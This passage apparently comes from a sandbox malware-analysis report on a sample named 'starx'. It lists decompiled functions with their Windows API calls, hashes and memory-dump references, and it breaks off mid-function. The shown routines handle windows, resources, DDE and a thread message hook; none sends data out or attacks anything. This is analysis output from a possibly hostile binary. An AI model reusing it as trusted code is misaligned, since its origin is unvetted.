Opcode Fuzzy Hash: dd4cf7aedf901fe35d5e91883560d6de563890204e52a0ad6977d9f1246d7331
Instruction Fuzzy Hash: D9214D712042009FDB40DF59C9C1E5A77E8BF48710F1981A9F958CF2A6E775EC80CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041A7D4, Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041A7D4(intOrPtr _a4, short _a6, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				int _t10;
				void* _t11;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;
				CHAR* _t24;

				_t6 =  *0x47f664; // 0x400000
				 *0x467400 = _t6;
				_t8 =  *0x467414; // 0x41a7c4
				_t9 =  *0x47f664; // 0x400000
				_t10 = GetClassInfoA(_t9, _t8,  &_v44);
				asm("sbb eax, eax");
				_t11 = _t10 + 1;
				if(_t11 == 0 || L004064DC != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0x47f664; // 0x400000
						_t20 =  *0x467414; // 0x41a7c4
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA(0x4673f0);
				}
				_t13 =  *0x47f664; // 0x400000
				_t24 =  *0x467414; // 0x41a7c4
				_t22 = E00406A18(0x80, _t24, 0, _t13, 0, 0, 0, 0, 0, 0, 0x80000000);
				if(_a6 != 0) {
					SetWindowLongA(_t22, 0xfffffffc, E0041A718(_a4, _a8));
				}
				return _t22;
			}

0x0041a7db
0x0041a7e0
0x0041a7e9
0x0041a7ef
0x0041a7f5
0x0041a7fd
0x0041a7ff
0x0041a802
0x0041a810
0x0041a812
0x0041a818
0x0041a81e
0x0041a81e
0x0041a828
0x0041a828
0x0041a83e
0x0041a84b
0x0041a85b
0x0041a862
0x0041a873
0x0041a873
0x0041a87e

APIs

GetClassInfoA.USER32 ref: 0041A7F5
UnregisterClassA.USER32 ref: 0041A81E
RegisterClassA.USER32 ref: 0041A828
SetWindowLongA.USER32 ref: 0041A873

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 9cde7c71c376ade6be56b5a6dabaac8ef6a43db08f22eb80e1f0118b145ef1cc
Instruction ID: 9c363223e7a4518140883e7a5a05eb69fb221641b90b0d9f79b4d651ed95844b
Opcode Fuzzy Hash: 9cde7c71c376ade6be56b5a6dabaac8ef6a43db08f22eb80e1f0118b145ef1cc
Instruction Fuzzy Hash: 180165716051046BCB10FB98DD85FAA379CE71434CF108136F905E72E2DA79D8A587AE

Uniqueness

Uniqueness Score: -1.00%

Function 0045B820, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045B820(void* __eax, void* __ecx, char __edx) {
				char _v12;
				struct HWND__* _v20;
				int _t17;
				void* _t27;
				struct HWND__* _t33;
				void* _t35;
				void* _t36;
				long _t37;

				_t37 = _t36 + 0xfffffff8;
				_t27 = __eax;
				_t17 =  *0x47fbb8; // 0x2331714
				if( *((intOrPtr*)(_t17 + 0x30)) != 0) {
					if( *((intOrPtr*)(__eax + 0x94)) == 0) {
						 *_t37 =  *((intOrPtr*)(__eax + 0x30));
						_v12 = __edx;
						EnumWindows(E0045B7B0, _t37);
						_t5 = _t27 + 0x90; // 0x0
						_t17 =  *_t5;
						if( *((intOrPtr*)(_t17 + 8)) != 0) {
							_t33 = GetWindow(_v20, 3);
							_v20 = _t33;
							if((GetWindowLongA(_t33, 0xffffffec) & 0x00000008) != 0) {
								_v20 = 0xfffffffe;
							}
							_t10 = _t27 + 0x90; // 0x0
							_t17 =  *_t10;
							_t35 =  *((intOrPtr*)(_t17 + 8)) - 1;
							if(_t35 >= 0) {
								do {
									_t13 = _t27 + 0x90; // 0x0
									_t17 = SetWindowPos(E00413C44( *_t13, _t35), _v20, 0, 0, 0, 0, 0x213);
									_t35 = _t35 - 1;
								} while (_t35 != 0xffffffff);
							}
						}
					}
					 *((intOrPtr*)(_t27 + 0x94)) =  *((intOrPtr*)(_t27 + 0x94)) + 1;
				}
				return _t17;
			}

0x0045b822
0x0045b825
0x0045b827
0x0045b830
0x0045b83d
0x0045b846
0x0045b849
0x0045b855
0x0045b85a
0x0045b85a
0x0045b864
0x0045b872
0x0045b874
0x0045b881
0x0045b883
0x0045b883
0x0045b88a
0x0045b88a
0x0045b893
0x0045b897
0x0045b899
0x0045b8ad
0x0045b8b9
0x0045b8be
0x0045b8bf
0x0045b899
0x0045b897
0x0045b864
0x0045b8c4
0x0045b8c4
0x0045b8ce

APIs

EnumWindows.USER32(0045B7B0), ref: 0045B855
GetWindow.USER32(00000003,00000003), ref: 0045B86D
GetWindowLongA.USER32 ref: 0045B87A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000213,00000000,000000EC), ref: 0045B8B9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID:
API String ID: 4191631535-0
Opcode ID: 5586c9fcdf53f5ce1265da968ef8c1e8e4187e5f03a35551da3b91bd1bdc8ef8
Instruction ID: efa5b53dd3e03d84ae0d5b6f8ab7824e51bc79b725664dc8eb715084984a1203
Opcode Fuzzy Hash: 5586c9fcdf53f5ce1265da968ef8c1e8e4187e5f03a35551da3b91bd1bdc8ef8
Instruction Fuzzy Hash: 06118C71604210AFDA10EB28CC85F9673D8EB04725F15027AFD58AF2D3C3789C89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00416280, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00416280(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t29;
				void* _t30;
				struct HINSTANCE__* _t31;
				void* _t32;

				_v8 = _t24;
				_t31 = __edx;
				_t23 = __eax;
				_t29 = FindResourceA(__edx, _v8, _a4);
				 *(_t23 + 0x10) = _t29;
				_t33 = _t29;
				if(_t29 == 0) {
					E00416210(_t23, _t24, _t29, _t31, _t33, _t32);
					_pop(_t24);
				}
				_t5 = _t23 + 0x10; // 0x416324
				_t30 = LoadResource(_t31,  *_t5);
				 *(_t23 + 0x14) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E00416210(_t23, _t24, _t30, _t31, _t34, _t32);
				}
				_t7 = _t23 + 0x10; // 0x416324
				_push(SizeofResource(_t31,  *_t7));
				_t8 = _t23 + 0x14; // 0x415f98
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E00415F58(_t23, _t25, _t18);
			}

0x00416287
0x0041628a
0x0041628c
0x0041629c
0x0041629e
0x004162a1
0x004162a3
0x004162a6
0x004162ab
0x004162ab
0x004162ac
0x004162b6
0x004162b8
0x004162bb
0x004162bd
0x004162c0
0x004162c5
0x004162c6
0x004162d0
0x004162d1
0x004162d5
0x004162de
0x004162e9

APIs

FindResourceA.KERNEL32(?,?,?), ref: 00416297
LoadResource.KERNEL32(?,00416324,?,?,?,004120B0,?,00000001,00000000,?,004161A0,?), ref: 004162B1
SizeofResource.KERNEL32(?,00416324,?,00416324,?,?,?,004120B0,?,00000001,00000000,?,004161A0,?), ref: 004162CB
LockResource.KERNEL32(00415F98,00000000,?,00416324,?,00416324,?,?,?,004120B0,?,00000001,00000000,?,004161A0,?), ref: 004162D5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 9515fd777c518a747c25637b51d7ba84dd3332d6ac3077dae6a81cd7928846d4
Instruction ID: 78c52a327b05287de8f534a573f8f221b35c836a9434a79de9f0e4b03b926291
Opcode Fuzzy Hash: 9515fd777c518a747c25637b51d7ba84dd3332d6ac3077dae6a81cd7928846d4
Instruction Fuzzy Hash: 4FF06DB26042146F9B04FE9DA881D9B77DCDE89364311046FF90CDB246DA39DD5187BC

Uniqueness

Uniqueness Score: -1.00%

Function 00464558, Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00464558(void* __eax, void* __ecx) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t17;
				intOrPtr _t20;
				void* _t27;
				void* _t31;

				_t27 = __eax;
				_t10 =  *(__eax + 0x38);
				if(_t10 != 0) {
					_t31 = _t10;
					E004646F8(__eax, __ecx);
					 *((intOrPtr*)(_t27 + 0x38)) = 0;
					_push(0);
					_push(0xffffffff);
					_push(_t31);
					L00462AEC();
					DdeDisconnect(_t31);
				}
				_t11 =  *((intOrPtr*)(_t27 + 0xa0));
				if(_t11 != 0) {
					_push(_t11);
					_t20 =  *0x47fe68; // 0x2331f58
					_push( *((intOrPtr*)(_t20 + 0x44)));
					L00462B44();
					 *((intOrPtr*)(_t27 + 0xa0)) = 0;
				}
				_t12 =  *((intOrPtr*)(_t27 + 0xa4));
				if(_t12 != 0) {
					_push(_t12);
					_t17 =  *0x47fe68; // 0x2331f58
					_push( *((intOrPtr*)(_t17 + 0x44)));
					L00462B44();
					 *((intOrPtr*)(_t27 + 0xa4)) = 0;
				}
				E004647FC(_t27, 0);
				return E00464810(_t27, 0);
			}

0x0046455a
0x0046455c
0x00464561
0x00464563
0x00464567
0x0046456e
0x00464571
0x00464573
0x00464575
0x00464576
0x0046457c
0x0046457c
0x00464581
0x00464589
0x0046458b
0x0046458c
0x00464594
0x00464595
0x0046459c
0x0046459c
0x004645a2
0x004645aa
0x004645ac
0x004645ad
0x004645b5
0x004645b6
0x004645bd
0x004645bd
0x004645c7
0x004645d7

APIs

DdeSetUserHandle.USER32 ref: 00464576
DdeDisconnect.USER32 ref: 0046457C
DdeFreeStringHandle.USER32 ref: 00464595
DdeFreeStringHandle.USER32 ref: 004645B6

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Handle$FreeString$DisconnectUser
String ID:
API String ID: 640835260-0
Opcode ID: 68e9046421633ad46af45f6a44cf0ebd478403e49552be95d43806be99646001
Instruction ID: 99ed44d18ec8bc68f76b651513c0090b44585aa3765588a1ceec8843e1b3d910
Opcode Fuzzy Hash: 68e9046421633ad46af45f6a44cf0ebd478403e49552be95d43806be99646001
Instruction Fuzzy Hash: 54014B707007006FCF90EE7E8DC1B4727D8AF4A310B08047ABA09CB256FAB8D840872A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A820, Relevance: 6.0, APIs: 4, Instructions: 37
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0043A820(struct HWND__* __eax, void* __ecx) {
				intOrPtr _t9;
				signed int _t16;
				struct HWND__* _t19;
				DWORD* _t20;

				_t17 = __ecx;
				_push(__ecx);
				_t19 = __eax;
				_t16 = 0;
				if(__eax != 0 && GetWindowThreadProcessId(__eax, _t20) != 0 && GetCurrentProcessId() ==  *_t20) {
					_t9 =  *0x47fb28; // 0x2331290
					if(GlobalFindAtomA(E00404480(_t9)) !=  *0x47fb24) {
						_t16 = 0 | E00439914(_t19, _t17) != 0x00000000;
					} else {
						_t16 = 0 | GetPropA(_t19,  *0x47fb24 & 0x0000ffff) != 0x00000000;
					}
				}
				return _t16;
			}

0x0043a820
0x0043a822
0x0043a823
0x0043a825
0x0043a829
0x0043a840
0x0043a857
0x0043a877
0x0043a859
0x0043a869
0x0043a869
0x0043a857
0x0043a87f

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 0043A82D
GetCurrentProcessId.KERNEL32(00000000,?,?,-0000000C,00000000,0043A898,0043A65A,0047FB5C,00000000,0043A44A,?,-0000000C,?), ref: 0043A836
GlobalFindAtomA.KERNEL32(00000000), ref: 0043A84B
GetPropA.USER32 ref: 0043A862

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: 7eebfeb879500375840f1b678da63eeaa1814cc1dcbbc2b65d28592cfa22016f
Instruction ID: d1ee7401db858bd337cbdfa6489c18323620b714a86008760c3c931a4760b0b1
Opcode Fuzzy Hash: 7eebfeb879500375840f1b678da63eeaa1814cc1dcbbc2b65d28592cfa22016f
Instruction Fuzzy Hash: 6CF0556168212197E62077B79D41BBF52CCDD083A8B02413BFC80D2252CA2ECCA3C17F

Uniqueness

Uniqueness Score: -1.00%

Function 00439948, Relevance: 6.0, APIs: 4, Instructions: 35
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00439948(struct HWND__* __eax, void* __ecx) {
				intOrPtr _t5;
				struct HWND__* _t12;
				void* _t15;
				DWORD* _t16;

				_t13 = __ecx;
				_push(__ecx);
				_t12 = __eax;
				_t15 = 0;
				if(__eax != 0 && GetWindowThreadProcessId(__eax, _t16) != 0 && GetCurrentProcessId() ==  *_t16) {
					_t5 =  *0x47fb2c; // 0x23312ac
					if(GlobalFindAtomA(E00404480(_t5)) !=  *0x47fb26) {
						_t15 = E00439914(_t12, _t13);
					} else {
						_t15 = GetPropA(_t12,  *0x47fb26 & 0x0000ffff);
					}
				}
				return _t15;
			}

0x00439948
0x0043994a
0x0043994b
0x0043994d
0x00439951
0x00439968
0x0043997f
0x0043999a
0x00439981
0x0043998f
0x0043998f
0x0043997f
0x004399a1

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 00439955
GetCurrentProcessId.KERNEL32(?,?,00000000,0045C543,?,?,004662A8,00000001,0045C6AF,?,?,?,004662A8), ref: 0043995E
GlobalFindAtomA.KERNEL32(00000000), ref: 00439973
GetPropA.USER32 ref: 0043998A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: e170ccf7108a1108a7956746e665faaed449a6b5b2b34fd35e570c442f822b66
Instruction ID: b28208d40cdaac86c8235878b53c4abc6f6412581b5d217e6b115dc5302a1058
Opcode Fuzzy Hash: e170ccf7108a1108a7956746e665faaed449a6b5b2b34fd35e570c442f822b66
Instruction Fuzzy Hash: 97F037D160021156DE20B7B69D81B3B229C8D0D364701693FFD49D7342D5BCDC44C27D

Uniqueness

Uniqueness Score: -1.00%

Function 0045B130, Relevance: 6.0, APIs: 4, Instructions: 34
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045B130(void* __ecx) {
				void* _t2;
				DWORD* _t7;

				_t2 =  *0x47fbb8; // 0x2331714
				if( *((char*)(_t2 + 0xa5)) == 0) {
					if( *0x47fbd0 == 0) {
						_t2 = SetWindowsHookExA(3, E0045B0EC, 0, GetCurrentThreadId());
						 *0x47fbd0 = _t2;
					}
					if( *0x47fbcc == 0) {
						_t2 = CreateEventA(0, 0, 0, 0);
						 *0x47fbcc = _t2;
					}
					if( *0x47fbd4 == 0) {
						_t2 = CreateThread(0, 0x3e8, E0045B090, 0, 0, _t7);
						 *0x47fbd4 = _t2;
					}
				}
				return _t2;
			}

0x0045b131
0x0045b13d
0x0045b146
0x0045b158
0x0045b15d
0x0045b15d
0x0045b169
0x0045b173
0x0045b178
0x0045b178
0x0045b184
0x0045b197
0x0045b19c
0x0045b19c
0x0045b184
0x0045b1a2

APIs

GetCurrentThreadId.KERNEL32 ref: 0045B148
SetWindowsHookExA.USER32 ref: 0045B158
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,0045DAB9,?,?,02331714,?,?,0045D460,?), ref: 0045B173
CreateThread.KERNEL32 ref: 0045B197

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateThread$CurrentEventHookWindows
String ID:
API String ID: 1195359707-0
Opcode ID: ce8f3e29a9c9be33a84a3819fbcb999cbeea145673fb57e7dc5bf5b8953b88e6
Instruction ID: cde7e3183beec05eb7dfa1ab0d27e41c60be873806bb346ca5d2a7fca35b3ade
Opcode Fuzzy Hash: ce8f3e29a9c9be33a84a3819fbcb999cbeea145673fb57e7dc5bf5b8953b88e6
Instruction Fuzzy Hash: 7DF0D070A84744AEF660A761DC26F173598E710B56F10517BF608691D2D3B8288CCB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406998, Relevance: 6.0, APIs: 4, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406998(void* __eax, int __ecx, long __edx) {
				void* _t2;
				void* _t4;

				_t2 = GlobalHandle(__eax);
				GlobalUnWire(_t2);
				_t4 = GlobalReAlloc(_t2, __edx, __ecx);
				GlobalFix(_t4);
				return _t4;
			}

0x0040699b
0x004069a2
0x004069a7
0x004069ad
0x004069b2

APIs

GlobalHandle.KERNEL32 ref: 0040699B
GlobalUnWire.KERNEL32 ref: 004069A2
GlobalReAlloc.KERNEL32 ref: 004069A7
GlobalFix.KERNEL32 ref: 004069AD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: 5b70f6994dff92fe0008f7b1c4827cfe356248fb75b5a090e5a56d717cf6436d
Instruction ID: ca4a10cb8b5aade736e6ed815b01ba6bddbc9ef9a912f0df55ecae2cc69bfa98
Opcode Fuzzy Hash: 5b70f6994dff92fe0008f7b1c4827cfe356248fb75b5a090e5a56d717cf6436d
Instruction Fuzzy Hash: 32B009E8810300B8E80837B24C1BC3B859E988274C382996E7542BA283987E9C6440BD

Uniqueness

Uniqueness Score: -1.00%

Function 00463648, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00463648(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				intOrPtr _v8;
				intOrPtr _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t44;
				intOrPtr _t45;
				intOrPtr _t49;
				intOrPtr _t62;
				void* _t84;
				intOrPtr _t85;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t104;
				intOrPtr _t116;
				void* _t117;
				void* _t119;
				void* _t121;
				void* _t124;
				void* _t126;
				void* _t128;
				void* _t137;

				_t91 = _a12;
				_t116 = _a4;
				_t113 = 0;
				_t44 = _t116 - 0x1062;
				if(_t44 == 0) {
					_t93 = _a16;
					_t45 =  *0x47fe68; // 0x2331f58
					_t113 = E004639F0(_t45, _t91, _a16, _a20, 0, _t116) & 0x0000007f;
				} else {
					_t84 = _t44 - 0x1080;
					if(_t84 == 0) {
						_t93 = _a16;
						_t85 =  *0x47fe68; // 0x2331f58
						_t113 = E00463AA4(_t85, _a16, _a20);
					} else {
						if(_t84 == 0x5f90) {
							_push(_a32);
							_t93 = _a16;
							_t89 =  *0x47fe68; // 0x2331f58
							E00463B08(_t89, _t91, _a16, _t91, 0, _t116);
						}
					}
				}
				if(_t91 != 0) {
					_v104 = 0x60;
					if(_t116 != 0x8080) {
						_v8 = 0xffffffff;
					} else {
						_v8 = _a28;
					}
					_push( &_v104);
					_t49 = _v8;
					_push(_t49);
					_push(_t91);
					L00462AE4();
					if(_t49 != 0) {
						_t137 = _t116 - 0x4050;
						if(_t137 > 0) {
							_t117 = _t116 - 0x4090;
							if(_t117 == 0) {
								_t113 = E004654B0(_v100, _t91, _t113, _v100, _a8, _a24, _a20);
							} else {
								_t119 = _t117 - 0x3fb0;
								if(_t119 == 0) {
									E00465480(_v100, _a16, _a20);
								} else {
									_t121 = _t119 - 0x40;
									if(_t121 == 0) {
										_t58 = _v100;
										if(_v100 != 0) {
											E004646F0(_t58);
										}
									} else {
										if(_t121 == 0x42) {
											_t92 = _v100;
											if(_v100 != 0) {
												_t104 =  *0x462c04; // 0x462c50
												if(E004033FC(_t92, _t104) == 0) {
													_t62 =  *0x47fe68; // 0x2331f58
													E00463BEC(_t62, _t92);
												} else {
													E004646F8(_t92, _t93);
												}
											}
										}
									}
								}
							}
						} else {
							if(_t137 == 0) {
								_t113 = E00465564(_v100, _a24);
							} else {
								_t124 = _t116 - 0x1030;
								if(_t124 == 0) {
									_t113 = E0046534C(_v100, _t91, _t113, _v100, _a8, _a20) & 0x0000007f;
								} else {
									_t126 = _t124 - 0xff2;
									if(_t126 == 0) {
										_t113 = E00465584(_v100, _t91, _a16, _t113, _v100, _a8, _a20);
									} else {
										_t128 = _t126 - 0x8e;
										if(_t128 == 0) {
											_t113 = E00465584(_v100, _t91, _a16, _t113, _v100, _a8, _a20);
										} else {
											if(_t128 == 0x1f60) {
												E0046473C(_v100, _a20, _a24);
											}
										}
									}
								}
							}
						}
					}
				}
				return _t113;
			}

0x00463651
0x00463654
0x00463657
0x0046365b
0x00463660
0x00463672
0x00463678
0x00463684
0x00463662
0x00463662
0x00463667
0x00463689
0x0046368f
0x00463699
0x00463669
0x0046366e
0x004636a0
0x004636a1
0x004636a6
0x004636ab
0x004636ab
0x0046366e
0x00463667
0x004636b2
0x004636b8
0x004636c5
0x004636cf
0x004636c7
0x004636ca
0x004636ca
0x004636d9
0x004636da
0x004636dd
0x004636de
0x004636df
0x004636e6
0x004636ec
0x004636f2
0x00463727
0x0046372d
0x004637e5
0x00463733
0x00463733
0x00463739
0x0046379e
0x0046373b
0x0046373b
0x0046373e
0x00463800
0x00463805
0x00463807
0x00463807
0x00463744
0x00463747
0x0046381e
0x00463823
0x00463827
0x00463834
0x00463841
0x00463846
0x00463836
0x00463838
0x00463838
0x00463834
0x00463823
0x00463747
0x0046373e
0x00463739
0x004636f4
0x004636f4
0x004637fc
0x004636fa
0x004636fa
0x00463700
0x004637c2
0x00463706
0x00463706
0x0046370c
0x0046376a
0x0046370e
0x0046370e
0x00463714
0x00463789
0x00463716
0x0046371c
0x00463817
0x00463817
0x0046371c
0x00463714
0x0046370c
0x00463700
0x004636f4
0x004636f2
0x004636e6
0x00463853

APIs

DdeQueryConvInfo.USER32 ref: 004636DF

Strings

P,F, xrefs: 00463827
`, xrefs: 004636B8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ConvInfoQuery
String ID: P,F$`
API String ID: 701148680-3700971996
Opcode ID: 9ef23def9124277a8d5c372aa07c3bab9b7203d611fa900e4a2132d56000665d
Instruction ID: 7b0ff43384ca27308aa0f5c8148c3ba476e84d7bfd1d43551f1226d55a1f666b
Opcode Fuzzy Hash: 9ef23def9124277a8d5c372aa07c3bab9b7203d611fa900e4a2132d56000665d
Instruction Fuzzy Hash: 8751B476A00259DBCB10EE59C9844DF77E5AB48342B144036FC49E7741EB38DE06C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE0C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0043AE0C(intOrPtr __eax, intOrPtr __ecx, void* __edx, void* __fp0) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				intOrPtr _v24;
				char _v28;
				char _v36;
				void* __edi;
				void* __ebp;
				intOrPtr _t54;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t71;
				intOrPtr _t74;
				void* _t88;
				intOrPtr _t105;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t123;
				intOrPtr _t124;
				intOrPtr _t129;
				void* _t133;
				intOrPtr _t134;
				void* _t137;

				_t137 = __fp0;
				_v8 = __ecx;
				_t88 = __edx;
				_t124 = __eax;
				 *0x47fb34 = __eax;
				_push(_t133);
				_push(0x43afb1);
				_push( *[fs:edx]);
				 *[fs:edx] = _t134;
				_v12 = 0;
				 *0x47fb3c = 0;
				_t135 =  *((char*)(__eax + 0x9b));
				if( *((char*)(__eax + 0x9b)) != 0) {
					E0040346C(__eax, __eflags);
					__eflags =  *0x47fb34;
